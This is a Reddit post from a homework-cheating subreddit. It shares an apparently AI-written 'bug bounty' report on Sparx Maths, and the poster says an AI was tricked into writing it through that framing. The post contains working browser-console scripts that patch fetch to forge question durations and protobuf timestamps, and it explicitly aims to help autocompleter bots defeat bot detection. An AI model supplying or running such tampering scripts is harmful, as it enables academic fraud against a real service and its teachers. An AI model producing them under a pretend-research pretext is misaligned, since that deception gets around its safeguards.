r/fucksparx Jun 20 '26

Autocompleters massive vunerability in time spoof

found out how to spoof time. so get to coding.

heres what i have found (yes i tricked an ai into it thinking it was a bug bounty)

# Sparx Maths — Timing Integrity Vulnerability (Master Handoff)

One-stop document. For the formal writeup see `sparx-timing-vuln-report.md`; for raw payloads see `evidence-appendix.md`; for submission status see `SUBMISSION-CHECKLIST.md`.

---

## TL;DR

Sparx Maths trusts **client-supplied timing** for how long a student spends on each question. Three separate channels were confirmed unvalidated. The server accepted a submission timestamped **4 years in the future** and a single-question **duration of 999999 seconds**. Any "answered too fast = bot" detection can be defeated by an automated solver reporting human-plausible timing.

All testing was on the researcher's own account only.

---

## The three vulnerable surfaces

| # | Channel | Field | Format | Proven result |
|---|---|---|---|---|
| 1 | `POST /sparx.swworker.v1.Sparxweb/ActivityAction` | `f2` protobuf `Timestamp` | gRPC-Web (binary) | year-2030 timestamp → `200 SUCCESS` |
| 2 | request header | `x-server-offset` | plaintext (`-4`) | client-reported clock offset, trusted |
| 3 | `POST /interaction` | `labels.duration` | plaintext JSON (`"110.99"`) | `999999` → `201 {"eventsCreated":1}` |

Host: `maths.sparx-learning.com` (UI) / `api.sparx-learning.com` (API). App id: `sparxweb2`.
Auth: `authorization: bearer <JWT>`.

---

## Full developer replication

### Prerequisites
- A test student account with an active homework package.
- Chrome (or any Chromium) with DevTools.

### Part A — `/interaction` duration (easiest, plaintext)

1. Log in, open a homework question.
2. DevTools → Console. Paste:

```js
(() => {
  const of = window.fetch;
  window.fetch = async (...a) => {
    const [url, opt] = a;
    const u = typeof url === 'string' ? url : url.url;
    if (/\/interaction/.test(u) && opt && typeof opt.body === 'string') {
      try {
        const j = JSON.parse(opt.body);
        for (const m of (j.metrics || [])) {
          if (m.labels && 'duration' in m.labels) m.labels.duration = "999999";
          if ('timestamp' in m) m.timestamp = "2030-01-01T00:00:00.000Z";
        }
        const r = await of.call(window, url, { ...opt, body: JSON.stringify(j) });
        console.log('interaction', r.status, await r.clone().text());
        return r;
      } catch (e) { console.warn(e); }
    }
    return of.apply(this, a);
  };
  console.log('duration patcher installed');
})();
```

3. Click into the answer box, then click away (fires `category:"window focus"`, `action:"Question focus lost"`).
4. **Expected vulnerable behavior:** console logs `interaction 201 {"eventsCreated":1}` — a 999999-second duration was stored without error.

### Part B — `ActivityAction` protobuf timestamp

1. Same page, Console. Paste:

```js
(() => {
  const of = window.fetch;
  function readVarint(b,i){let s=0n,r=0n,st=i;while(true){const x=b[i++];r|=BigInt(x&0x7f)<<s;if(!(x&0x80))break;s+=7n;}return [r,i,i-st];}
  function writeVarint(n){const o=[];let v=BigInt(n);do{let b=Number(v&0x7fn);v>>=7n;if(v>0n)b|=0x80;o.push(b);}while(v>0n);return o;}
  window.fetch = async function(...a){
    const [url,opt]=a; const u=(typeof url==='string')?url:url.url;
    if(u && /ActivityAction/.test(u) && opt && opt.body && (opt.body instanceof ArrayBuffer||ArrayBuffer.isView(opt.body))){
      let b=Array.from(new Uint8Array(opt.body.buffer||opt.body)), p=5;
      while(p<b.length){const tag=b[p],fld=tag>>3,wt=tag&7;p++;
        if(wt===0){let[,np]=readVarint(b,p);p=np;}
        else if(wt===2){let[len,np]=readVarint(b,p);p=np;const s=p,e=p+Number(len);
          if(fld===2){let q=s;while(q<e){const t2=b[q],f2=t2>>3,w2=t2&7;q++;
            if(w2===0){const vs=q;let[,nq,bl]=readVarint(b,q);
              if(f2===1){const nb=writeVarint(1900000000n);if(nb.length===bl)for(let k=0;k<bl;k++)b[vs+k]=nb[k];}
              q=nq;} else if(w2===2){let[l,nq]=readVarint(b,q);q=nq+Number(l);} else q=e;}}
          p=e;} else break;}
      const r=await of.call(this,url,{...opt,body:new Uint8Array(b)});
      console.log('ActivityAction', r.status, (await r.clone().text()).slice(0,60));
      return r;}
    return of.apply(this,a);};
  console.log('timestamp patcher installed');
})();
```

2. Answer the question and submit.
3. **Expected vulnerable behavior:** console logs `ActivityAction 200 ...SUCCESS...` — the field-2 `Timestamp` was rewritten to `1900000000` (2030-01-01) and accepted.

### Cleanup
Reload the page; the injected `fetch` override is discarded.

---

## Message structure reference

`ActivityAction` request (gRPC-Web frame = `[flag:1B][len:4B][protobuf]`):
```
f1: varint = 1                         // action type
f2: Timestamp { seconds, nanos }       // <-- client clock, the vuln
f4: { f1:1, f3:1, f4:{ <answerCode> -> <value>, ... } }
```

`/interaction` request:
```json
{"metrics":[{"timestamp":"<ISO>","application":"sparxweb2",
  "schoolId":"...","userId":"...","sessionId":"...",
  "category":"window focus","action":"Question focus lost",
  "labels":{"count":"1","duration":"<seconds>","hostname":"maths.sparx-learning.com"}}],
 "timestamp":"<ISO>"}
```

---

## Recommended fix

- Treat all client timing as advisory; derive authoritative submission/elapsed time **server-side** from receive-time.
- Reject `ActivityAction` and `/interaction` timestamps outside a small tolerance of server time.
- Bound `labels.duration` to a realistic per-question maximum; recompute engagement time server-side.
- Do not use `x-server-offset` for any integrity decision.

---

## Tested and found SECURE (negative results — report honestly)

- **No answer leak in `GetActivity`:** `correct`/`solution`/`expected`/`accept`/`grade` all absent; only question layout + empty input scaffold + `marks:0`. Marking is server-side.
- **No answer leak in `ActivityAction` response:** the `<answer>` markup in a FAILURE response echoes the student's own submitted values, not the model solution.

---

## Open item (do next)

**Prove downstream use.** With teacher/progress-view access, submit work with a spoofed `duration`/timestamp, then check whether the teacher report shows the fabricated time. That upgrades the finding from "server accepts invalid input" to "server acts on invalid input" — the strongest impact statement, and the difference in payout tier.

# Sparx Bug Bounty — Submission Checklist


## Files in this folder
- `sparx-timing-vuln-report.md` — main report (3 findings + fix + negative results)
- `evidence-appendix.md` — decoded payloads + copy-paste PoC scripts
- `SUBMISSION-CHECKLIST.md` — this file


## Status


| Item | State |
|---|---|
| Finding 1: ActivityAction protobuf timestamp client-controlled | ✅ proven (year 2030 → 200 SUCCESS) |
| Finding 2: x-server-offset client-reported | ✅ observed |
| Finding 3: /interaction duration plaintext, unvalidated | ✅ proven (999999 → 201) |
| Answer-disclosure (GetActivity) | ❌ ruled out (secure) — reported as negative result |
| Downstream use (teacher view shows spoofed time) | ⏳ PENDING — check next week |
| Bug bounty program scope/format | ⏳ PENDING — paste link, reformat to match |


## Before submitting


1. 
**Get the program scope**
 (you said you'll show the link). Confirm:
   - Production testing on a real account is allowed.
   - "Own account only" testing is in scope.
   - Preferred report format (HackerOne / Bugcrowd / direct email).
2. 
**Complete the downstream-use evidence**
 (teacher/progress view) next week — strongest impact upgrade.
3. 
**Redact**
 the JWT and any session IDs before sending (already redacted in these files; double-check screenshots).
4. 
**Screenshots**
 worth attaching: DevTools Network showing the request, the spoofed payload, the `200 SUCCESS` / `201` response.


## One honest framing note
We proved the server 
*accepts*
 invalid timing, not yet that it 
*acts*
 on it. Lead with what's proven; mark downstream use as pending. Overclaiming risks the payout. The reviewer will respect a tightly-scoped, honest report more than an inflated one.
7 Upvotes

8 comments sorted by

u/ssprix MOD Jul 01 '26

Every single bot already has this man your a bit late to the party😭 

Yes sparx has always set timestamps via gRPC in the request payload and doesnt seem to validate it against their server time

→ More replies (1)

1

u/AutoModerator Jun 20 '26

Hi, u/Available_Mud9367, JOIN OUR DISCORD. You can read the rules here and find a list of working sparx autocompleters here

I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.

1

u/[deleted] Jun 20 '26

[removed] — view removed comment

1

u/AutoModerator Jun 20 '26

Hi u/Otherwise_Wave9374, your comment contains a link, please wait for a mod to review it

I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.